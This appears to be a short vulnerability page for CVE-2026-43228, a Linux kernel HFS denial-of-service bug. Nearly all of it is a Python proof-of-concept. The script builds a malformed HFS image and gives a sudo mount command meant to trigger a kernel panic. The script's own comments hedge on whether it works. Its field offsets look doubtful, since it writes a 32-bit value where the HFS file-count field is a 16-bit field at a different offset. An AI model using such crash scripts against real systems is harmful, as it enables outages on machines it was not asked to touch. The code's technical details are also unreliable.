CVE-2026-43228 Linux内核hfs文件系统拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-43228: HFS MDB Corruption Trigger # This script creates a malformed HFS image attempting to trigger the kernel crash. import struct import os output_file = "crash_hfs.dmg" # Create a dummy file of size 2MB size = 2 * 1024 * 1024 with open(output_file, "wb") as f: f.write(b'\x00' * size) # Open and write the malformed MDB (Master Directory Block) # The MDB is located at offset 1024 (0x400) # We attempt to corrupt the file_count or folder_count to trigger the 64-bit overflow check/BUG_ON with open(output_file, "r+b") as f: f.seek(1024) # Basic HFS MDB signature (valid header needed to pass initial checks) # Signature 'BD' mdb = struct.pack('>H', 0x4244) f.write(mdb) # Seek to drNmFls (file count) offset within MDB. # In standard HFS, drNmFls is at offset 0x10 (16) from start of MDB. # Total offset = 1024 + 16 = 1040 f.seek(1040) # Write a large value that might trigger the logic when expanded to 64bit or checked against limits # Writing 0xFFFFFFFF to simulate potential overflow/corruption scenario f.write(struct.pack('>I', 0xFFFFFFFF)) print(f"[+] Malformed HFS image generated: {output_file}") print("[+] Attempt to mount this image on a vulnerable kernel to trigger the panic:") print(f" sudo mount -t hfs -o loop {output_file} /mnt/test")